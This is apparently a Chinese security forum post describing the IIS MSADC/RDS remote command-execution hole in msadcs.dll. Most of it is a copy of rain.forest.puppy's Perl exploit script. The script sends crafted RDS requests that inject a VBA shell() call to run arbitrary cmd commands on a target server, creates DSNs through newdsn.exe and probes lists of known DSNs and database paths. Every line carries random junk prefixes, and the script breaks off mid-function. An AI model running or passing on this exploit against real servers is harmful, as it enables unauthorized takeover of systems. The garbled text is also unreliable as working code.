IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
cj/`m$ G'ykcB._ 涉及程序:
}{o! Microsoft NT server
gb ga"WO 200yN+ ec 描述:
~U9K<_U 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'ZfgCu)St Ey46JO" 详细:
c3A\~tHW 如果你没有时间读详细内容的话,就删除:
}htjT/Nm c:\Program Files\Common Files\System\Msadc\msadcs.dll
dj0; tQ=C 有关的安全问题就没有了。
tMIYVHGy vT'Bs;QR 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
!>8~R2 RK>Pe3< 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
K7+yU3 关于利用ODBC远程漏洞的描述,请参看:
WSkGVQu =l,P'E http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm AlSO 6OES'3 Cy 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
'|C3t!H` http://www.microsoft.com/security/bulletins/MS99-025faq.asp ly[LF1t E$e7(D 这里不再论述。
~4S$+*'8 rz?Cn
X.t 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
*Gbhk8}V' |?` 5 ~f /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
;?-AFd\i 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
o`?rj!\ woYD &Oml ie}OZM #将下面这段保存为txt文件,然后: "perl -x 文件名"
5,RUPaE R?2sbK4Cz #!perl
]T4/dk&|o^ #
kIrrbD # MSADC/RDS 'usage' (aka exploit) script
yVd^A2
#
-EjXVn! vQ # by rain.forest.puppy
`2~>$Tr #
.J"N} # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
3dShznlf_* # beta test and find errors!
fV(3RG Lpchla$ use Socket; use Getopt::Std;
5jdZC(q5a getopts("e:vd:h:XR", \%args);
qtGJJ#^, .1x04Np! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^rkKE
dd PxHFH pL if (!defined $args{h} && !defined $args{R}) {
!Brtao"m print qq~
yC,/R371k Usage: msadc.pl -h <host> { -d <delay> -X -v }
WeI+|V$ -h <host> = host you want to scan (ip or domain)
|D3u"Y!:^ -d <seconds> = delay between calls, default 1 second
Q M,!-~t -X = dump Index Server path table, if available
&K)8 -v = verbose
weitDr6 -e = external dictionary file for step 5
wucdXj{% VSj!Gm0LB Or a -R will resume a command session
~xH&"1 +Q*`kg' ~; exit;}
!,WGd|oJ TBhM^\z $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
"q4tvcK. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
B{-7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
D7ex{SVA) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$6QIYF"" $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_B4&Fb. if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
GN.Oa$ |Lq8cA)|y if (!defined $args{R}){ $ret = &has_msadc;
3P>gDQP die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
_`$LdqgE )vr@:PE print "Please type the NT commandline you want to run (cmd /c assumed):\n"
j)1y v. . "cmd /c ";
uGKjZi $in=<STDIN>; chomp $in;
e5h*GKF $command="cmd /c " . $in ;
.u`[|:K q!K:N? if (defined $args{R}) {&load; exit;}
tiK?VwaKI s>rR\` print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ejRK-! &try_btcustmr;
w-jElV 0MQ= Rt print "\nStep 2: Trying to make our own DSN...";
#F*|@ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
o3ZN0j69| l/$GF|`U print "\nStep 3: Trying known DSNs...";
_Fb}zPU! &known_dsn;
w7nt $L5 #XV=,81w print "\nStep 4: Trying known .mdbs...";
Er~ 17$b &known_mdb;
C
\ Cc[v e_BG%+;G, if (defined $args{e}){
vL/ 3(Bo7 print "\nStep 5: Trying dictionary of DSN names...";
X/]@EF &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
C2LPLquD+
~PQ.l\C print "Sorry Charley...maybe next time?\n";
NGra/s,9| exit;
~{c ?-qb ]`o5eByo ##############################################################################
h#rP]o@ O--p)\ sub sendraw { # ripped and modded from whisker
wak 26W>I3 sleep($delay); # it's a DoS on the server! At least on mine...
x_PO; my ($pstr)=@_;
t@RYJmW socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
St=nf\P&F die("Socket problems\n");
;%|im? if(connect(S,pack "SnA4x8",2,80,$target)){
;D5>iek5 select(S); $|=1;
_8K+iqMZG print $pstr; my @in=<S>;
[ X*p
[ select(STDOUT); close(S);
J5@08bZm return @in;
! VwU=5 } else { die("Can't connect...\n"); }}
pMF
vL ^5 >e ##############################################################################
pjl%Jm CB7dr&> sub make_header { # make the HTTP request
=j]y?;7q my $msadc=<<EOT
w+o5iPLX POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
];r!
M0 User-Agent: ACTIVEDATA
{f*Y}/@ Host: $ip
\BOoY# !a Content-Length: $clen
,|%KlHo^ Connection: Keep-Alive
:\](m64z; LS@TTiN
ADCClientVersion:01.06
3F9V,zWtTi Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
6)HmE[[F #J5BHY~ --!ADM!ROX!YOUR!WORLD!
[hJ1]RW8 Content-Type: application/x-varg
[X(m[u '% Content-Length: $reqlen
jzvK;*N {sTf4S\S EOT
Rq4;{a/j ; $msadc=~s/\n/\r\n/g;
>Wg=
Tuef return $msadc;}
Y#U.9>h 9t! d.} ##############################################################################
?y>N&\pt2 g/?Vl2W sub make_req { # make the RDS request
j*=!M# D my ($switch, $p1, $p2)=@_;
@uSO~.7 my $req=""; my $t1, $t2, $query, $dsn;
c
'|*{%<e2 6#w>6g4V~R if ($switch==1){ # this is the btcustmr.mdb query
ktu?-?#0, $query="Select * from Customers where City=" . make_shell();
RK# 6JfC3X $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
!E70e$Th $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
B`pBIUu cJKnB!iL5 elsif ($switch==2){ # this is general make table query
N,t9X7G& $query="create table AZZ (B int, C varchar(10))";
m l`xLZN>L $dsn="$p1";}
E4#{&sRT \0@DOW22C elsif ($switch==3){ # this is general exploit table query
=g% L$b<i $query="select * from AZZ where C=" . make_shell();
b3NIFKw $dsn="$p1";}
x/QqG1q eSPS3|YYn elsif ($switch==4){ # attempt to hork file info from index server
$KcAB0 B8 $query="select path from scope()";
+]l?JKV $dsn="Provider=MSIDXS;";}
uJ`N'`Z M-WSdG[AJ elsif ($switch==5){ # bad query
ulR yt^bx| $query="select";
.EYL $dsn="$p1";}
SX3'|'- dT`nR" $t1= make_unicode($query);
f5}afPk $t2= make_unicode($dsn);
Gz`Jzh
j $req = "\x02\x00\x03\x00";
X)g
X9DA $req.= "\x08\x00" . pack ("S1", length($t1));
cIug~ x> $req.= "\x00\x00" . $t1 ;
--HDE c| $req.= "\x08\x00" . pack ("S1", length($t2));
=dm9+ff $req.= "\x00\x00" . $t2 ;
LpHGt]|D $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
L
K&c~
Uy return $req;}
ODJ"3 J N=mvr&arP ##############################################################################
f/\!=sa: 8 Ku9;VEk sub make_shell { # this makes the shell() statement
N'1I6e" return "'|shell(\"$command\")|'";}
*0U#Z]t L F?/60 ##############################################################################
zD_5TGM= 3}L3n*Ft#. sub make_unicode { # quick little function to convert to unicode
j/V_h'} my ($in)=@_; my $out;
@Z]0c=-+ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
bR`5g return $out;}
(lsG4&\0F b+s'B4@rb ##############################################################################
-]EL|_; q/U-WQ<+ sub rdo_success { # checks for RDO return success (this is kludge)
F6{g{
B my (@in) = @_; my $base=content_start(@in);
,#a4P`q'iC if($in[$base]=~/multipart\/mixed/){
? Fqh
i return 1 if( $in[$base+10]=~/^\x09\x00/ );}
/%YW[oY{V return 0;}
]36SF5<0r
?Ld),A/c ##############################################################################
~B<\#oO eDd&vf sub make_dsn { # this makes a DSN for us
#y\O+\4e my @drives=("c","d","e","f");
&Vj@){ print "\nMaking DSN: ";
$.,PteYK foreach $drive (@drives) {
j;$f[@0o print "$drive: ";
``xm##K my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
? [Yn<| "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
5{H)r . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
wXNng(M7
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
)St0}?I~ return 0 if $2 eq "404"; # not found/doesn't exist
p{?duq= if($2 eq "200") {
k_g@4x1y* foreach $line (@results) {
<?7CwW return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Z@Rqm:e } return 0;}
{\Pk;M{Y& /.:1Da ##############################################################################
[_N1
.}e ^P^"t^O sub verify_exists {
AA-$;s my ($page)=@_;
$$AZ)#t[ my @results=sendraw("GET $page HTTP/1.0\n\n");
?MDo. z3 return $results[0];}
cfmwz~S6i f:j:L79} ##############################################################################
yf{\^^ i( a-*sm~u sub try_btcustmr {
su0K#*P&I
my @drives=("c","d","e","f");
^;II@n
i my @dirs=("winnt","winnt35","winnt351","win","windows");
"t2T*'j{ zkt~[-jm} foreach $dir (@dirs) {
CW`^fI9H print "$dir -> "; # fun status so you can see progress
Dw=L]i
:0v foreach $drive (@drives) {
#kQ! GMZH print "$drive: "; # ditto
TjpyU:R,&| $reqlen=length( make_req(1,$drive,$dir) ) - 28;
IO7z}![V; $reqlenlen=length( "$reqlen" );
'[r: pwE $clen= 206 + $reqlenlen + $reqlen;
q~>!_q]FE FC 8<D my @results=sendraw(make_header() . make_req(1,$drive,$dir));
zBm~ J% if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
8hV]t'/; else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
uVYn,DB` :b9#e g ##############################################################################
TJ)Nr*U3_ ->#wDL!6 sub odbc_error {
sta/i?n my (@in)=@_; my $base;
azZ|T{S my $base = content_start(@in);
MdX4Rp' if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
yCz"~c $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y0O(n/ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UAjN $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dC<%D'L* return $in[$base+4].$in[$base+5].$in[$base+6];}
h5{//0 y print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
s?<FS@k print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
58?WO} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
{F_>cyR *b;)7lj0h ##############################################################################
2?(/$F9X, $d1ow#ROgy sub verbose {
xpZ@DK; my ($in)=@_;
I
N@ ~~ return if !$verbose;
UXZ3~/L5 O print STDOUT "\n$in\n";}
qX&+ .0nT*LF ##############################################################################
`LH 9@Z{ N+V#=Uy sub save {
X6sZwb my ($p1, $p2, $p3, $p4)=@_;
M5[#YG'FlQ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
6rS
? FG= print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
i<&z'A6&]* close OUT;}
,%Pn.E* r; *7*_QW%?A ##############################################################################
eDo4>k"5 n4?;!p<F sub load {
}?b\/l< my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
`-nSH)GBM open(IN,"<rds.save") || die("Couldn't open rds.save\n");
bSM|" @p=<IN>; close(IN);
qV=O; $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
)~P<ruk>,C $target= inet_aton($ip) || die("inet_aton problems");
,!SbH print "Resuming to $ip ...";
; 8VZsh $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
oe6Ex5h if($p[1]==1) {
/&?ei*z $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
{\?f|mmq $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
gy1kb,MO my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
0r@LA|P if (rdo_success(@results)){print "Success!\n";}
3{H!B&sb else { print "failed\n"; verbose(odbc_error(@results));}}
8<Nz34Y elsif ($p[1]==3){
ldG8hK if(run_query("$p[3]")){
HJr*\%D}1 print "Success!\n";} else { print "failed\n"; }}
MPp:EH elsif ($p[1]==4){
//G&=i$ if(run_query($drvst . "$p[3]")){
**AJFc print "Success!\n"; } else { print "failed\n"; }}
vU/sQt8 exit;}
h*4wi.- "%
i1zQo& ##############################################################################
;8F6a:\v <)cmI .J3 sub create_table {
,:.8s>+i my ($in)=@_;
KW0KXO06a $reqlen=length( make_req(2,$in,"") ) - 28;
c5CxR#O $reqlenlen=length( "$reqlen" );
7F~Jz*,B*W $clen= 206 + $reqlenlen + $reqlen;
b6 g9! my @results=sendraw(make_header() . make_req(2,$in,""));
9~,!+# return 1 if rdo_success(@results);
GNG.N)q#C my $temp= odbc_error(@results); verbose($temp);
: Q,O: return 1 if $temp=~/Table 'AZZ' already exists/;
Z(E.F,k return 0;}
j%vxCs> HVC|0} ##############################################################################
:U1V 2f'l3 ^wIP`dn sub known_dsn {
(1,4egMpR # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
uxrNkZia my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Ux,dj8=o "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
F&/}x15 "banner", "banners", "ads", "ADCDemo", "ADCTest");
TR?jT
U 4J[bh foreach $dSn (@dsns) {
DL_M#c`< print ".";
hHt.No next if (!is_access("DSN=$dSn"));
L8;`*H if(create_table("DSN=$dSn")){
EU5(s*A print "$dSn successful\n";
$YBH;^# if(run_query("DSN=$dSn")){
BZQJ@lk5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
c1]\.s print "Something's borked. Use verbose next time\n";}}} print "\n";}
IxP$lx y9:o];/ ##############################################################################
"Q23s" ~O~we sub is_access {
@S012} xH my ($in)=@_;
[o'}R`5) $reqlen=length( make_req(5,$in,"") ) - 28;
E;a9RV| $reqlenlen=length( "$reqlen" );
WsM/-P1Y $clen= 206 + $reqlenlen + $reqlen;
F fzY3r+
my @results=sendraw(make_header() . make_req(5,$in,""));
wRWKem= my $temp= odbc_error(@results);
t5p#g<